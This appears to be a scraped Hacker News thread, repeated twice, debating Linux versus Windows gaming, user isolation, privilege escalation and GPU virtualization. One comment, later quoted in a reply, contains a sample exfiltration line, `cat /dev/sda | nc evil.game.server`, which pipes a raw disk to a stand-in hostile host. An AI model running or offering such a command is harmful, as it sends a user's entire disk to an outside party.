5 ms·

This makes no sense. So you value your security but then choose to go with a less secure operating system? You can easily install all your games on another use

This makes no sense. So you value your security but then choose to go with a less secure operating system? You can easily install all your games on another user on your linux box and run as that user. Super easy and it won't have access to any of your main home directory files. In fact with this configuration it's a lot easier to ensure that the games are sandboxed away from anything important. In contrast on Windows most games run as Admin or at some point ask for admin privileges. Running games on Linux is not about security or time savings. It's about control. It's about being able to sit down and play your game without Windows having a hissy fit about Windows updates. It's about being able to just play without worrying that some bad patch from Microsoft will hose your entire setup. And it's about finally wrestling control over gaming away from a company that cares more about taking your money than actually letting you play games you already have. And the more people we get running Linux for gaming the better everyone will be better off for it.

planb 5y ago
Having an insecure os (not that I'd say that Windows is one) on a machine that does nothing else but gaming is still more secure than doing everything on the same machine.
jcelerier 5y ago
> This makes no sense. So you value your security but then choose to go with a less secure operating system? You can easily install all your games on another user on your linux box and run as that user. Super easy and it won't have access to any of your main home directory files. In fact with this configuration it's a lot easier to ensure that the games are sandboxed away from anything important. In contrast on Windows most games run as Admin or at some point ask for admin privileges. Reminds me of https://xkcd.com/1200/ https://xkcd.com/1200/ ; why would running games as admin matter in the slightest if your actually sensitive data, ~/Documents, is not even on that computer ? If it were on linux with another user, the game could still do `cat /dev/sda | nc evil.game.server` unlike here.
- turrini 5y ago
  > If it were on linux with another user, the game could still do cat /dev/sda | nc evil.game.server unlike here. That's not true. Only root can read directly a disk device, or an user that is on the 'disk' group: brw-rw---- 1 root disk 8, 0 fev 1 07:50 /dev/sda
  - l-albertovich 5y ago
    And of course a very easy to exploit bug that has been around for like 12 years hasn't gone public a few days ago because LPEs DO NOT EXIST IN LINUX. I mean, it's quite obvious, exploitable bugs do not exist in Linux because back in the day Ken, Dennis, Brian, Doug and Joe agreed that they were not part of the Unix philosophy so they left them for windows to implement. /s Aside from the stupid joke, what OP is saying is absolutely right, if you care about security keep your things properly isolated, keep a (whichever OS you trust but hopefully linux or a bsd) as main box and then a windows or macos computer isolated (best case scenario using a vlan capable switch, or a dedicated pi that acts as a firewall just for that box).
revanx_ 5y ago
I game on linux, it's not as secure as I would like it to be. I run everything under unprivileged container including steam, the problem is that for vulkan hardware renderer to work it requires direct access to the device and the linux kernel doesn't virtualize device access. It's a security nightmare as far as I can see.
- gpderetta 5y ago
  One issue with device virtualization is that the required hardware features are often locked out in non enterprise-grade hardware (although they can sometime be unlocked, for example: https://github.com/DualCoder/vgpu_unlock https://github.com/DualCoder/vgpu_unlock).
  - revanx_ 5y ago
    thank you for that link. Does AMD have the same shenanigans of locking out consumer grade gpu's? Intel has GVT-g vGPU virtualization which works with intel integrated graphics, it will be interesting to see what road Intel takes with their dedicated GPUs.
    - ridgered4 5y ago
      Unfortunately, it seems that GVT-g is dead going forward. The word is it's not coming to the latest iGPUs and they plan to "replace is with SR-IOV" which isn't the same thing and I haven't even heard of anyone getting it to work anyway. Really stinks because I was super interested in a GVT-g on their new discrete cards.
    - gpderetta 5y ago
      I might be misinformed, but my understanding is that consumer AMD cards, for the most part, do not have the required virtualization hardware at all, so there is nothing to unlock.
  - ddtaylor 5y ago
    FWIW Nvidia has removed some of these restrictions lately.
teh_klev 5y ago
> In contrast on Windows most games run as Admin That's not true. > or at some point ask for admin privileges. Usually this is a UAC prompt so that the installer can deploy the game/app into Program Files. This isn't the fault of Windows and I'm fairly certain this could be avoided by the developer of the game/app. > play your game without Windows having a hissy fit about Windows updates You know you can defer updates and the nag? But then if you value your security then you'd install these updates (I lifted this from the start of your comment). > without worrying that some bad patch from Microsoft will hose your entire setup These are fairly rare, and personally never had it happen. I've hosed my Fedora install because the package manager really ballsed things up. But that was also a rare event. I run both Windows and Linux and feel I'm in happily in control of both OS's.
- hparadiz 5y ago
  - teh_klev 5y ago
    > You really don't have to run interference for Microsoft I beg your pardon? I think you need to re-acquaint yourself with the HN Guidelines: "Please don't post insinuations about astroturfing, shilling, bots, brigading, foreign agents and the like. It degrades discussion and is usually mistaken. If you're worried about abuse, email hn@ycombinator.com and we'll look at the data." > Consider that games and accounts themselves are a high value target. Your League or WoW account alone can be worth hundreds to thousands and then some. Putting all your gaming eggs in one basket, so to speak, isn't that great. I think even you can see the flaw in your argument there. It's the accounts that are at risk and it doesn't matter which platform you're using. A determined miscreant will get control and it doesn't matter a hoot whether you were running Windows, Linux, MacOS etc.
fnordsensei 5y ago
Compartmentalization as a security practice has value regardless of the OSes involved. This would be true also if you split your use cases into two Linux instances.
chakkepolja 5y ago
> You can easily install all your games on another user on your linux box and run as that user. Super easy and it won't have access to any of your main home directory files. In fact with this configuration it's a lot easier to ensure that the games are sandboxed away from anything important. I have been told enough times that existence of RCE should be assumed as root access, because someone who can do RCE could probably do a PE too..
dmd 5y ago
And as we all know, it's been ages[0] since the last local privilege escalation vulnerability on Linux. [0] 4 days, to be exact - https://nvd.nist.gov/vuln/detail/CVE-2021-4034 https://nvd.nist.gov/vuln/detail/CVE-2021-4034
Zababa 5y ago
> You can easily install all your games on another user on your linux box and run as that user. No, you can't play all your games on linux. Anti cheat is one of the big problems for example.
KolenCh 5y ago
No I think it makes some sense. You’re thinking in absolute terms. If you know everything and do everything right, your description may be better. But if you don’t want to be so careful all the time, wanting to be relax and not need to think about security implications all the time, the setup above is quite good. I carry out a similar mentality, I don’t trust Windows and hence I run things I don’t trust on Windows as well. Eg I only install Zoom native app on Windows but not on any other desktop OSes. Use windows like it is a public machine, and you’ll have nothing to lose. (It is just an analogy, not to mean an exact statement, because you always has something to lose… just minimally here.)

planb 5y ago

Having an insecure os (not that I'd say that Windows is one) on a machine that does nothing else but gaming is still more secure than doing everything on the same machine.

jcelerier 5y ago

> This makes no sense. So you value your security but then choose to go with a less secure operating system? You can easily install all your games on another user on your linux box and run as that user. Super easy and it won't have access to any of your main home directory files. In fact with this configuration it's a lot easier to ensure that the games are sandboxed away from anything important. In contrast on Windows most games run as Admin or at some point ask for admin privileges. Reminds me of https://xkcd.com/1200/ https://xkcd.com/1200/ ; why would running games as admin matter in the slightest if your actually sensitive data, ~/Documents, is not even on that computer ? If it were on linux with another user, the game could still do `cat /dev/sda | nc evil.game.server` unlike here.

turrini 5y ago
> If it were on linux with another user, the game could still do cat /dev/sda | nc evil.game.server unlike here. That's not true. Only root can read directly a disk device, or an user that is on the 'disk' group: brw-rw---- 1 root disk 8, 0 fev 1 07:50 /dev/sda
- l-albertovich 5y ago
  And of course a very easy to exploit bug that has been around for like 12 years hasn't gone public a few days ago because LPEs DO NOT EXIST IN LINUX. I mean, it's quite obvious, exploitable bugs do not exist in Linux because back in the day Ken, Dennis, Brian, Doug and Joe agreed that they were not part of the Unix philosophy so they left them for windows to implement. /s Aside from the stupid joke, what OP is saying is absolutely right, if you care about security keep your things properly isolated, keep a (whichever OS you trust but hopefully linux or a bsd) as main box and then a windows or macos computer isolated (best case scenario using a vlan capable switch, or a dedicated pi that acts as a firewall just for that box).

revanx_ 5y ago

I game on linux, it's not as secure as I would like it to be. I run everything under unprivileged container including steam, the problem is that for vulkan hardware renderer to work it requires direct access to the device and the linux kernel doesn't virtualize device access. It's a security nightmare as far as I can see.

gpderetta 5y ago
One issue with device virtualization is that the required hardware features are often locked out in non enterprise-grade hardware (although they can sometime be unlocked, for example: https://github.com/DualCoder/vgpu_unlock https://github.com/DualCoder/vgpu_unlock).
- revanx_ 5y ago
  thank you for that link. Does AMD have the same shenanigans of locking out consumer grade gpu's? Intel has GVT-g vGPU virtualization which works with intel integrated graphics, it will be interesting to see what road Intel takes with their dedicated GPUs.
  - ridgered4 5y ago
    Unfortunately, it seems that GVT-g is dead going forward. The word is it's not coming to the latest iGPUs and they plan to "replace is with SR-IOV" which isn't the same thing and I haven't even heard of anyone getting it to work anyway. Really stinks because I was super interested in a GVT-g on their new discrete cards.
  - gpderetta 5y ago
    I might be misinformed, but my understanding is that consumer AMD cards, for the most part, do not have the required virtualization hardware at all, so there is nothing to unlock.
- ddtaylor 5y ago
  FWIW Nvidia has removed some of these restrictions lately.

teh_klev 5y ago

> In contrast on Windows most games run as Admin That's not true. > or at some point ask for admin privileges. Usually this is a UAC prompt so that the installer can deploy the game/app into Program Files. This isn't the fault of Windows and I'm fairly certain this could be avoided by the developer of the game/app. > play your game without Windows having a hissy fit about Windows updates You know you can defer updates and the nag? But then if you value your security then you'd install these updates (I lifted this from the start of your comment). > without worrying that some bad patch from Microsoft will hose your entire setup These are fairly rare, and personally never had it happen. I've hosed my Fedora install because the package manager really ballsed things up. But that was also a rare event. I run both Windows and Linux and feel I'm in happily in control of both OS's.

hparadiz 5y ago
- teh_klev 5y ago
  > You really don't have to run interference for Microsoft I beg your pardon? I think you need to re-acquaint yourself with the HN Guidelines: "Please don't post insinuations about astroturfing, shilling, bots, brigading, foreign agents and the like. It degrades discussion and is usually mistaken. If you're worried about abuse, email hn@ycombinator.com and we'll look at the data." > Consider that games and accounts themselves are a high value target. Your League or WoW account alone can be worth hundreds to thousands and then some. Putting all your gaming eggs in one basket, so to speak, isn't that great. I think even you can see the flaw in your argument there. It's the accounts that are at risk and it doesn't matter which platform you're using. A determined miscreant will get control and it doesn't matter a hoot whether you were running Windows, Linux, MacOS etc.

fnordsensei 5y ago

Compartmentalization as a security practice has value regardless of the OSes involved. This would be true also if you split your use cases into two Linux instances.

chakkepolja 5y ago

> You can easily install all your games on another user on your linux box and run as that user. Super easy and it won't have access to any of your main home directory files. In fact with this configuration it's a lot easier to ensure that the games are sandboxed away from anything important. I have been told enough times that existence of RCE should be assumed as root access, because someone who can do RCE could probably do a PE too..

dmd 5y ago

And as we all know, it's been ages[0] since the last local privilege escalation vulnerability on Linux. [0] 4 days, to be exact - https://nvd.nist.gov/vuln/detail/CVE-2021-4034 https://nvd.nist.gov/vuln/detail/CVE-2021-4034

Zababa 5y ago

> You can easily install all your games on another user on your linux box and run as that user. No, you can't play all your games on linux. Anti cheat is one of the big problems for example.

KolenCh 5y ago

No I think it makes some sense. You’re thinking in absolute terms. If you know everything and do everything right, your description may be better. But if you don’t want to be so careful all the time, wanting to be relax and not need to think about security implications all the time, the setup above is quite good. I carry out a similar mentality, I don’t trust Windows and hence I run things I don’t trust on Windows as well. Eg I only install Zoom native app on Windows but not on any other desktop OSes. Use windows like it is a public machine, and you’ll have nothing to lose. (It is just an analogy, not to mean an exact statement, because you always has something to lose… just minimally here.)